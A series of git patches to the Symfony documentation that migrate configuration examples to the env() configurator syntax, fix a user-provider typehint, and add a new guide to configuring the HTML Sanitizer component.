+    The ``env()`` configurator syntax was introduced in 5.3.
+    In ``PHP`` configuration files, it will allow to autocomplete methods based
+    on processors name (i.e. ``env('SOME_VAR')->default('foo')``).
+
 Built-In Environment Variable Processors
 ----------------------------------------
 
@@ -241,7 +249,7 @@ Symfony provides the following env var processors:
                 $container->setParameter('env(HEALTH_CHECK_METHOD)', 'Symfony\Component\HttpFoundation\Request::METHOD_HEAD');
                 $security->accessControl()
                     ->path('^/health-check$')
-                    ->methods(['%env(const:HEALTH_CHECK_METHOD)%']);
+                    ->methods([env('HEALTH_CHECK_METHOD')->const()]);
             };
 
 ``env(base64:FOO)``
diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index 950f68528a3..5783ca9d918 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -148,7 +148,7 @@ If you stored a ``DATABASE_PASSWORD`` secret, you can reference it by:
         return static function (DoctrineConfig $doctrine) {
             $doctrine->dbal()
                 ->connection('default')
-                    ->password('%env(DATABASE_PASSWORD)%')
+                    ->password(env('DATABASE_PASSWORD'))
             ;
         };
 
diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index e94ef907f57..856e796a2e9 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -136,7 +136,7 @@ The following configuration code shows how you can configure two entity managers
             // configure these for your database server
             $doctrine->dbal()
                 ->connection('default')
-                ->url('%env(resolve:DATABASE_URL)%')
+                ->url(env('DATABASE_URL')->resolve())
                 ->driver('pdo_mysql')
                 ->serverVersion('5.7')
                 ->charset('utf8mb4');
@@ -144,7 +144,7 @@ The following configuration code shows how you can configure two entity managers
             // configure these for your database server
             $doctrine->dbal()
                 ->connection('customer')
-                ->url('%env(resolve:DATABASE_CUSTOMER_URL)%')
+                ->url(env('DATABASE_CUSTOMER_URL')->resolve())
                 ->driver('pdo_mysql')
                 ->serverVersion('5.7')
                 ->charset('utf8mb4');
diff --git a/lock.rst b/lock.rst
index 9fb207b927f..5d864fb0089 100644
--- a/lock.rst
+++ b/lock.rst
@@ -149,7 +149,7 @@ this behavior by using the ``lock`` key like:
                 ->resource('default', ['sqlsrv:server=127.0.0.1;Database=app'])
                 ->resource('default', ['oci:host=127.0.0.1;dbname=app'])
                 ->resource('default', ['mongodb://127.0.0.1/app?collection=lock'])
-                ->resource('default', ['%env(LOCK_DSN)%'])
+                ->resource('default', [env('LOCK_DSN')])
 
                 // named locks
                 ->resource('invoice', ['semaphore', 'redis://r2.docker'])
diff --git a/mailer.rst b/mailer.rst
index b79a61bb5cb..07fe907ab9a 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -60,7 +60,7 @@ over SMTP by configuring the DSN in your ``.env`` file (the ``user``,
         return static function (ContainerConfigurator $containerConfigurator): void {
             $containerConfigurator->extension('framework', [
                 'mailer' => [
-                    'dsn' => '%env(MAILER_DSN)%',
+                    'dsn' => env('MAILER_DSN'),
                 ],
             ]);
         };
@@ -1170,8 +1170,8 @@ This can be configured by replacing the ``dsn`` configuration entry with a
 
         return static function (FrameworkConfig $framework) {
             $framework->mailer()
-                ->transport('main', '%env(MAILER_DSN)%')
-                ->transport('alternative', '%env(MAILER_DSN_IMPORTANT)%')
+                ->transport('main', env('MAILER_DSN'))
+                ->transport('alternative', env('MAILER_DSN_IMPORTANT'))
             ;
         };
 
@@ -1243,7 +1243,7 @@ you have a transport called ``async``, you can route the message there:
 
         return static function (FrameworkConfig $framework) {
             $framework->messenger()
-                ->transport('async')->dsn('%env(MESSENGER_TRANSPORT_DSN)%');
+                ->transport('async')->dsn(env('MESSENGER_TRANSPORT_DSN'));
 
             $framework->messenger()
                 ->routing('Symfony\Component\Mailer\Messenger\SendEmailMessage')
diff --git a/messenger.rst b/messenger.rst
index 016274aec79..4e1dae322de 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -193,12 +193,12 @@ that uses this configuration:
         return static function (FrameworkConfig $framework) {
             $framework->messenger()
                 ->transport('async')
-                    ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                    ->dsn(env('MESSENGER_TRANSPORT_DSN'))
             ;
 
             $framework->messenger()
                 ->transport('async')
-                    ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                    ->dsn(env('MESSENGER_TRANSPORT_DSN'))
                     ->options([])
             ;
         };
@@ -593,11 +593,11 @@ different messages to them. For example:
             $messenger = $framework->messenger();
 
             $messenger->transport('async_priority_high')
-                ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                ->dsn(env('MESSENGER_TRANSPORT_DSN'))
                 ->options(['queue_name' => 'high']);
 
             $messenger->transport('async_priority_low')
-                ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                ->dsn(env('MESSENGER_TRANSPORT_DSN'))
                 ->options(['queue_name' => 'low']);
 
             $messenger->routing('App\Message\SmsNotification')->senders(['async_priority_low']);
@@ -847,7 +847,7 @@ this is configurable for each transport:
             $messenger = $framework->messenger();
 
             $messenger->transport('async_priority_high')
-                ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                ->dsn(env('MESSENGER_TRANSPORT_DSN'))
                 // default configuration
                 ->retryStrategy()
                     ->maxRetries(3)
@@ -1063,7 +1063,7 @@ override the failure transport for only specific transports:
             $messenger->failureTransport('failed_default');
 
             $messenger->transport('async_priority_high')
-                ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                ->dsn(env('MESSENGER_TRANSPORT_DSN'))
                 ->failureTransport('failed_high_priority');
 
             // since no failed transport is configured, the one used will be
@@ -1151,7 +1151,7 @@ options. Options can be passed to the transport via a DSN string or configuratio
             $messenger = $framework->messenger();
 
             $messenger->transport('my_transport')
-                ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                ->dsn(env('MESSENGER_TRANSPORT_DSN'))
                 ->options(['auto_setup' => false]);
         };
 
diff --git a/notifier.rst b/notifier.rst
index 786614e2ecd..79b4480a096 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -158,7 +158,7 @@ configure the ``texter_transports``:
 
         return static function (FrameworkConfig $framework) {
             $framework->notifier()
-                ->texterTransport('twilio', '%env(TWILIO_DSN)%')
+                ->texterTransport('twilio', env('TWILIO_DSN'))
             ;
         };
 
@@ -255,7 +255,7 @@ Chatters are configured using the ``chatter_transports`` setting:
 
         return static function (FrameworkConfig $framework) {
             $framework->notifier()
-                ->chatterTransport('slack', '%env(SLACK_DSN)%')
+                ->chatterTransport('slack', env('SLACK_DSN'))
             ;
         };
 
@@ -319,7 +319,7 @@ notification emails:
 
         return static function (FrameworkConfig $framework) {
             $framework->mailer()
-                ->dsn('%env(MAILER_DSN)%')
+                ->dsn(env('MAILER_DSN'))
                 ->envelope()
                     ->sender('notifications@example.com')
             ;
@@ -390,7 +390,7 @@ configure the ``texter_transports``:
 
         return static function (FrameworkConfig $framework) {
             $framework->notifier()
-                ->texterTransport('expo', '%env(EXPO_DSN)%')
+                ->texterTransport('expo', env('EXPO_DSN'))
             ;
         };
 
@@ -454,10 +454,10 @@ transport:
             $framework->notifier()
                 // Send notifications to Slack and use Telegram if
                 // Slack errored
-                ->chatterTransport('main', '%env(SLACK_DSN)% || %env(TELEGRAM_DSN)%')
+                ->chatterTransport('main', env('SLACK_DSN').' || '.env('TELEGRAM_DSN'))
 
                 // Send notifications to the next scheduled transport calculated by round robin
-                ->chatterTransport('roundrobin', '%env(SLACK_DSN)% && %env(TELEGRAM_DSN)%')
+                ->chatterTransport('roundrobin', env('SLACK_DSN').' && '.env('TELEGRAM_DSN'))
             ;
         };
 
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index ce8f8291db2..d5ee18b0e1a 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -298,7 +298,7 @@ some environment variable that stores the name of the IDE/editor:
 
         return static function (FrameworkConfig $framework) {
             // the env var stores the IDE/editor name (e.g. 'phpstorm', 'vscode', etc.)
-            $framework->ide('%env(resolve:CODE_EDITOR)%');
+            $framework->ide(env('CODE_EDITOR')->resolve());
         };
 
 .. versionadded:: 5.3
@@ -596,14 +596,14 @@ can also :ref:`disable CSRF protection on individual forms <form-csrf-customizat
 .. configuration-block::
 
     .. code-block:: yaml
-    
+
         # config/packages/framework.yaml
         framework:
             # ...
             csrf_protection: true
-            
+
     .. code-block:: xml
-    
+
         <!-- config/packages/framework.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
@@ -617,9 +617,9 @@ can also :ref:`disable CSRF protection on individual forms <form-csrf-customizat
                 <framework:csrf-protection enabled="true"/>
             </framework:config>
         </container>
-        
+
     .. code-block:: php
-    
+
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
         return static function (FrameworkConfig $framework) {
@@ -3210,7 +3210,7 @@ A list of lock stores to be created by the framework extension.
 
         return static function (FrameworkConfig $framework) {
             $framework->lock()
-                ->resource('default', ['%env(LOCK_DSN)%']);
+                ->resource('default', [env('LOCK_DSN')]);
         };
 
 .. seealso::
diff --git a/security/access_control.rst b/security/access_control.rst
index 57c70fce5df..df9536fef2c 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -120,12 +120,12 @@ Take the following ``access_control`` entries as an example:
             $security->accessControl()
                 ->path('^/admin')
                 ->roles(['ROLE_USER_IP'])
-                ->ips(['%env(TRUSTED_IPS)%'])
+                ->ips([env('TRUSTED_IPS')])
             ;
             $security->accessControl()
                 ->path('^/admin')
                 ->roles(['ROLE_USER_IP'])
-                ->ips(['127.0.0.1', '::1', '%env(TRUSTED_IPS)%'])
+                ->ips(['127.0.0.1', '::1', env('TRUSTED_IPS')])
             ;
         };
 
diff --git a/session/database.rst b/session/database.rst
index 16715c2b150..050eebb6a9d 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -229,7 +229,7 @@ first register a new handler service with your database credentials:
 
             $services->set(PdoSessionHandler::class)
                 ->args([
-                    '%env(DATABASE_URL)%',
+                    env('DATABASE_URL'),
                     // you can also use PDO configuration, but requires passing two arguments:
                     // 'mysql:dbname=mydatabase; host=myhost; port=myport',
                     // ['db_username' => 'myuser', 'db_password' => 'mypassword'],
@@ -334,7 +334,7 @@ passed to the ``PdoSessionHandler`` service:
 
             $services->set(PdoSessionHandler::class)
                 ->args([
-                    '%env(DATABASE_URL)%',
+                    env('DATABASE_URL'),
                     ['db_table' => 'customer_session', 'db_id_col' => 'guid'],
                 ])
             ;
diff --git a/translation.rst b/translation.rst
index 6c18cf3e6f0..dc5288a09f0 100644
--- a/translation.rst
+++ b/translation.rst
@@ -714,7 +714,7 @@ configure the ``providers`` option:
             'translator' => [
                 'providers' => [
                     'loco' => [
-                        'dsn' => '%env(LOCO_DSN)%',
+                        'dsn' => env('LOCO_DSN'),
                         'domains' => ['messages'],
                         'locales' => ['en', 'fr'],
                     ],

From 5eb3931dfc592dc6670c157fe71161ad4a51d650 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 16 May 2022 17:32:43 +0200
Subject: [PATCH 1897/5766] Remove some unneeded versionadded directives

---
 configuration.rst                    | 6 ------
 configuration/env_var_processors.rst | 6 ------
 2 files changed, 12 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 9995eeb0929..85e3e23adf4 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -645,12 +645,6 @@ This example shows how you could configure the database connection using an env
             ]);
         };
 
-.. versionadded:: 5.3
-
-    The ``env()`` configurator syntax was introduced in 5.3.
-    In ``PHP`` configuration files, it will allow to autocomplete methods based
-    on processors name (i.e. ``env('SOME_VAR')->default('foo')``).
-
 .. seealso::
 
     The values of env vars can only be strings, but Symfony includes some
diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 8d10c433549..84bccba97d5 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -56,12 +56,6 @@ processor to turn the value of the ``HTTP_PORT`` env var into an integer:
             ;
         };
 
-.. versionadded:: 5.3
-
-    The ``env()`` configurator syntax was introduced in 5.3.
-    In ``PHP`` configuration files, it will allow to autocomplete methods based
-    on processors name (i.e. ``env('SOME_VAR')->default('foo')``).
-
 Built-In Environment Variable Processors
 ----------------------------------------
 

From 7fb76a59ae1f2cda0505750c5c522b5097af4c26 Mon Sep 17 00:00:00 2001
From: Tomas <norkunas.tom@gmail.com>
Date: Tue, 10 May 2022 15:09:54 +0300
Subject: [PATCH 1898/5766] [Security] Fix typehint in custom user provider

---
 security/user_providers.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/security/user_providers.rst b/security/user_providers.rst
index 07212acbf0b..0e202283a83 100644
--- a/security/user_providers.rst
+++ b/security/user_providers.rst
@@ -290,6 +290,7 @@ command will generate a nice skeleton to get you started::
 
     use Symfony\Component\Security\Core\Exception\UnsupportedUserException;
     use Symfony\Component\Security\Core\Exception\UserNotFoundException;
+    use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
     use Symfony\Component\Security\Core\User\PasswordUpgraderInterface;
     use Symfony\Component\Security\Core\User\UserInterface;
     use Symfony\Component\Security\Core\User\UserProviderInterface;
@@ -347,13 +348,13 @@ command will generate a nice skeleton to get you started::
         }
 
         /**
-         * Upgrades the encoded password of a user, typically for using a better hash algorithm.
+         * Upgrades the hashed password of a user, typically for using a better hash algorithm.
          */
-        public function upgradePassword(UserInterface $user, string $newEncodedPassword): void
+        public function upgradePassword(PasswordAuthenticatedUserInterface $user, string $newHashedPassword): void
         {
-            // TODO: when encoded passwords are in use, this method should:
+            // TODO: when hashed passwords are in use, this method should:
             // 1. persist the new password in the user storage
-            // 2. update the $user object with $user->setPassword($newEncodedPassword);
+            // 2. update the $user object with $user->setPassword($newHashedPassword);
         }
     }
 

From 5f3cfeb3d4f1c654b9d0b1e7dfa0a6880a95b220 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Fri, 6 May 2022 00:08:33 +0200
Subject: [PATCH 1899/5766] [HTML Sanitizer] Write documentation

---
 html_sanitizer.rst                            | 1027 +++++++++++++++++
 index.rst                                     |    1 +
 reference/configuration/framework.rst         |   11 +
 .../forms/types/options/sanitize_html.rst.inc |   18 +
 .../forms/types/options/sanitizer.rst.inc     |   11 +
 reference/forms/types/text.rst                |    4 +
 reference/forms/types/textarea.rst            |   11 +
 reference/twig_reference.rst                  |   19 +
 8 files changed, 1102 insertions(+)
 create mode 100644 html_sanitizer.rst
 create mode 100644 reference/forms/types/options/sanitize_html.rst.inc
 create mode 100644 reference/forms/types/options/sanitizer.rst.inc

diff --git a/html_sanitizer.rst b/html_sanitizer.rst
new file mode 100644
index 00000000000..ab7ba7bc875
--- /dev/null
+++ b/html_sanitizer.rst
@@ -0,0 +1,1027 @@
+HTML Sanitizer
+==============
+
+.. versionadded:: 6.1
+
+    The HTML Sanitizer component was introduced in Symfony 6.1.
+
+The HTML Sanitizer components aims at sanitizing/cleaning untrusted HTML
+code (e.g. created by a WYSIWYG editor in the browser) into HTML that can
+be trusted. It is based on the `HTML Sanitizer W3C Standard Proposal`_.
+
+The HTML sanitizer creates a new HTML structure from scratch, taking only
+the elements and attributes that are allowed by configuration. This means
+that the returned HTML is very predicatable (it only contains allowed
+elements), but it does not work well with badly formatted input (e.g.
+invalid HTML). The sanitizer is targetted for two use-cases:
+
+* Preventing security attacks based on XSS or other technologies relying on
+  execution of malicious code on the visitors browsers;
+* Generating HTML that always respects a certain format (only certain
+  tags, attributes, hosts, etc.) to be able to consistently style the
+  resulting output with CSS. This also protects your application against
+  attacks related to e.g. changing the CSS of the whole page.
+
+.. _html-sanitizer-installation:
+
+Installation
+------------
+
+You can install the HTML Sanitizer component with:
+
+.. code-block:: terminal
+
+    $ composer require symfony/html-sanitizer
+
+Basic Usage
+-----------
+
+Use the :class:`Symfony\\Component\\HtmlSanitizer\\HtmlSanitizer` class to
+sanitize the HTML. In the Symfony framework, this class is available as the
+``html_sanitizer`` service. This service will be :doc:`autowired </service_container/autowiring>`
+automatically when type-hinting for
+:class:`Symfony\\Component\\HtmlSanitizer\\HtmlSanitizerInterface`:
+
+.. configuration-block::
+
+    .. code-block:: php-symfony
+
+        // src/Controller/BlogPostController.php
+        namespace App\Controller;
+
+        // ...
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizerInterface;
+
+        class BlogPostController extends AbstractController
+        {
+            public function createAction(HtmlSanitizerInterface $htmlSanitizer, Request $request): Response
+            {
+                $unsafeContents = $request->request->get('post_contents');
+
+                $safeContents = $htmlSanitizer->sanitize($unsafeContents);
+                // ... proceed using the safe HTML
+            }
+        }
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizer;
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;
+
+        $htmlSanitizer = new HtmlSanitizer(
+            (new HtmlSanitizerConfig())->allowSafeElements()
+        );
+
+        // unsafe HTML (e.g. from a WYSIWYG editor in the browser)
+        $unsafePostContents = ...;
+
+        $safePostContents = $htmlSanitizer->sanitize($unsafePostContents);
+        // ... proceed using the safe HTML
+
+.. note::
+
+    The default configuration of the HTML sanitizer allows all "safe"
+    elements and attributes, as defined by the `W3C Standard Proposal`_. In
+    practice, this means that the resulting code will not contain any
+    scripts, styles or other elements that can cause the website to behave
+    or look different. Later in this article, you'll learn how to
+    :ref:`fully customize the HTML sanitizer <html-sanitizer-configuration>`.
+
+Sanitizing HTML for a Specific Context
+--------------------------------------
+
+The default :method:`Symfony\\Component\\HtmlSanitizer\\HtmlSanitizer::sanitize`
+method cleans the HTML code for usage in the ``<body>`` element. Using the
+:method:`Symfony\\Component\\HtmlSanitizer\\HtmlSanitizer::sanitizeFor`
+method, you can instruct HTML sanitizer to customize this for the
+``<head>`` or a more specific HTML tag::
+
+    // tags not allowed in <head> will be removed
+    $safeInput = $htmlSanitizer->sanitizeFor('head', $userInput);
+
+    // encodes the returned HTML using HTML entities
+    $safeInput = $htmlSanitizer->sanitizeFor('title', $userInput);
+    $safeInput = $htmlSanitizer->sanitizeFor('textarea', $userInput);
+
+    // uses the <body> context, removing tags only allowed in <head>
+    $safeInput = $htmlSanitizer->sanitizeFor('body', $userInput);
+    $safeInput = $htmlSanitizer->sanitizeFor('section', $userInput);
+
+Sanitizing HTML from Form Input
+-------------------------------
+
+The HTML sanitizer component directly integrates with Symfony Forms, to
+sanitize the form input before it is processed by your application.
+
+You can enable the sanitizer in ``TextType`` forms, or any form extending
+this type (such as ``TextareaType``), using the ``sanitize_html`` option::
+
+    // src/Form/BlogPostType.php
+    namespace App\Form;
+
+    // ...
+    class BlogPostType extends AbstractType
+    {
+        // ...
+
+        public function configureOptions(OptionsResolver $resolver): void
+        {
+            $resolver->setDefaults([
+                'sanitize_html' => true,
+                // use the "sanitizer" option to use a custom sanitizer (see below)
+                //'sanitizer' => 'app.post_sanitizer',
+            ]);
+        }
+    }
+
+.. _html-sanitizer-twig:
+
+Sanitizing HTML in Twig Templates
+---------------------------------
+
+Besides sanitizing user input, you can also sanitize HTML code before
+outputting it in a Twig template using the ``sanitize_html()`` filter:
+
+.. code-block:: twig
+
+    {{ post.body|sanitize_html }}
+
+    {# you can also use a custom sanitizer (see below) #}
+    {{ post.body|sanitize_html('app.post_sanitizer') }}
+
+.. _html-sanitizer-configuration:
+
+Configuration
+-------------
+
+The behavior of the HTML sanitizer can be fully customized. This allows you
+to explicitly state which elements, attributes and even attribute values
+are allowed.
+
+You can do this by defining a new HTML sanitizer in the configuration:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/html_sanitizer.yaml
+        framework:
+            html_sanitizer:
+                sanitizers:
+                    app.post_sanitizer:
+                        block_elements:
+                            - h1
+
+    .. code-block:: xml
+
+        <!-- config/packages/html_sanitizer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:html-sanitizer>
+                    <framework:sanitizer name="app.post_sanitizer">
+                        <framework:block-element name="h1"/>
+                    </framework:sanitizer>
+                </framework:html-sanitizer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->htmlSanitizer()
+                ->sanitizer('app.post_sanitizer')
+                    ->blockElement('h1')
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizer;
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;
+
+        $postSanitizer = new HtmlSanitizer(
+            (new HtmlSanitizerConfig())
+                ->blockElement('h1')
+        );
+
+This configuration defines a new ``html_sanitizer.sanitizer.app.post_sanitizer``
+service. This service will be :doc:`autowired </service_container/autowiring>`
+for services having an ``HtmlSanitizerInterface $appPostSanitizer`` parameter.
+
+Allow Element Baselines
+~~~~~~~~~~~~~~~~~~~~~~~
+
+You can start the custom HTML sanitizer by using one of the two baselines:
+
+Static elements
+    All elements and attributes on the baseline allow lists from the
+    `W3C Standard Proposal`_ (this does not include scripts).
+Safe elements
+    All elements and attributes from the "static elements" list, excluding
+    elements and attributes that can also lead to CSS
+    injection/click-jacking.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/html_sanitizer.yaml
+        framework:
+            html_sanitizer:
+                sanitizers:
+                    app.post_sanitizer:
+                        # enable either of these
+                        allow_safe_elements: true
+                        allow_all_static_elements: true
+
+    .. code-block:: xml
+
+        <!-- config/packages/html_sanitizer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:html-sanitizer>
+                    <!-- allow-safe-elements/allow-all-static-elements:
+                         enable either of these -->
+                    <framework:sanitizer
+                        name="app.post_sanitizer"
+                        allow-safe-elements="true"
+                        allow-all-static-elements="true"
+                    />
+                </framework:html-sanitizer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->htmlSanitizer()
+                ->sanitizer('app.post_sanitizer')
+                    // enable either of these
+                    ->allowSafeElements(true)
+                    ->allowAllStaticElements(true)
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizer;
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;
+
+        $postSanitizer = new HtmlSanitizer(
+            (new HtmlSanitizerConfig())
+                // enable either of these
+                ->allowSafeElements()
+                ->allowAllStaticElements()
+        );
+
+Allow Elements
+~~~~~~~~~~~~~~
+
+This adds elements to the allow list. For each element, you can also
+specify the allowed attributes on that element. If not given, all allowed
+attributes from the `W3C Standard Proposal`_ are allowed.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/html_sanitizer.yaml
+        framework:
+            html_sanitizer:
+                sanitizers:
+                    app.post_sanitizer:
+                        # ...
+                        allow_elements:
+                            # allow the <article> element and 2 attributes
+                            article: ['class', 'data-attr']
+                            # allow the <img> element and preserve the src attribute
+                            img: 'src'
+                            # allow the <h1> element with all safe attributes
+                            h1: '*'
+
+    .. code-block:: xml
+
+        <!-- config/packages/html_sanitizer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:html-sanitizer>
+                    <!-- allow-safe-elements/allow-all-static-elements:
+                         enable either of these -->
+                    <framework:sanitizer name="app.post_sanitizer">
+                        <!-- allow the <article> element and 2 attributes -->
+                        <framework:allow-element name="article">
+                            <framework:attribute>class</framework:attribute>
+                            <framework:attribute>data-attr</framework:attribute>
+                        </framework:allow-element>
+
+                        <!-- allow the <img> element and preserve the src attribute -->
+                        <framework:allow-element name="img">
+                            <framework:attribute>src</framework:attribute>
+                        </framework:allow-element>
+
+                        <!-- allow the <h1> element with all safe attributes -->
+                        <framework:allow-element name="img">
+                            <framework:attribute>*</framework:attribute>
+                        </framework:allow-element>
+                    </framework:sanitizer>
+                </framework:html-sanitizer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->htmlSanitizer()
+                ->sanitizer('app.post_sanitizer')
+                    // allow the <article> element and 2 attributes
+                    ->allowElement('article')
+                        ->attribute('class')
+                        ->attribute('data-attr')
+
+                    // allow the <img> element and preserve the src attribute
+                    ->allowElement('img')
+                        ->attribute('src')
+
+                    // allow the <h1> element with all safe attributes
+                    ->allowElement('h1', '*')
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizer;
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;
+
+        $postSanitizer = new HtmlSanitizer(
+            (new HtmlSanitizerConfig())
+                // allow the <article> element and 2 attributes
+                ->allowElement('article', ['class', 'data-attr'])
+
+                // allow the <img> element and preserve the src attribute
+                ->allowElement('img', 'src')
+
+                // allow the <h1> element with all safe attributes
+                ->allowElement('h1')
+        );
+
+Block and Drop Elements
+~~~~~~~~~~~~~~~~~~~~~~~
+
+You can also block (the element will be removed, but its children
+will be kept) or drop (the element and its children will be removed)
+elements.
+
+This can also be used to remove elements from the allow list.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/html_sanitizer.yaml
+        framework:
+            html_sanitizer:
+                sanitizers:
+                    app.post_sanitizer:
+                        # ...
+
+                        # remove <div>, but process the children
+                        block_elements: ['div']
+                        # remove <figure> and its children
+                        drop_elements: ['figure']
+
+    .. code-block:: xml
+
+        <!-- config/packages/html_sanitizer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:html-sanitizer>
+                    <!-- remove <div>, but process the children -->
+                    <framework:block-element>div</framework:block-element>
+
+                    <!-- remove <figure> and its children -->
+                    <framework:drop-element>figure</framework:drop-element>
+                </framework:html-sanitizer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->htmlSanitizer()
+                ->sanitizer('app.post_sanitizer')
+                    // remove <div>, but process the children
+                    ->blockElement('div')
+                    // remove <figure> and its children
+                    ->dropElement('figure')
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizer;
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;
+
+        $postSanitizer = new HtmlSanitizer(
+            (new HtmlSanitizerConfig())
+                // remove <div>, but process the children
+                ->blockElement('div')
+                // remove <figure> and its children
+                ->dropElement('figure')
+        );
+
+Allow Attributes
+~~~~~~~~~~~~~~~~
+
+Using this option, you can specify which attributes will be preserved in
+the returned HTML. The attribute will be allowed on the given elements, or
+on all elements allowed *before this setting*.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/html_sanitizer.yaml
+        framework:
+            html_sanitizer:
+                sanitizers:
+                    app.post_sanitizer:
+                        # ...
+                        allow_attributes:
+                            # allow "src' on <iframe> elements
+                            src: ['iframe']
+
+                            # allow "data-attr" on all elements currently allowed
+                            data-attr: '*'
+
+    .. code-block:: xml
+
+        <!-- config/packages/html_sanitizer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:html-sanitizer>
+                    <!-- allow "src' on <iframe> elements -->
+                    <framework:allow-attribute name="src">
+                        <framework:element>iframe</framework:element>
+                    </framework:allow-attribute>
+
+                    <!-- allow "data-attr" on all elements currently allowed -->
+                    <framework:allow-attribute name="data-attr">
+                        <framework:element>*</framework:element>
+                    </framework:allow-attribute>
+                </framework:html-sanitizer>
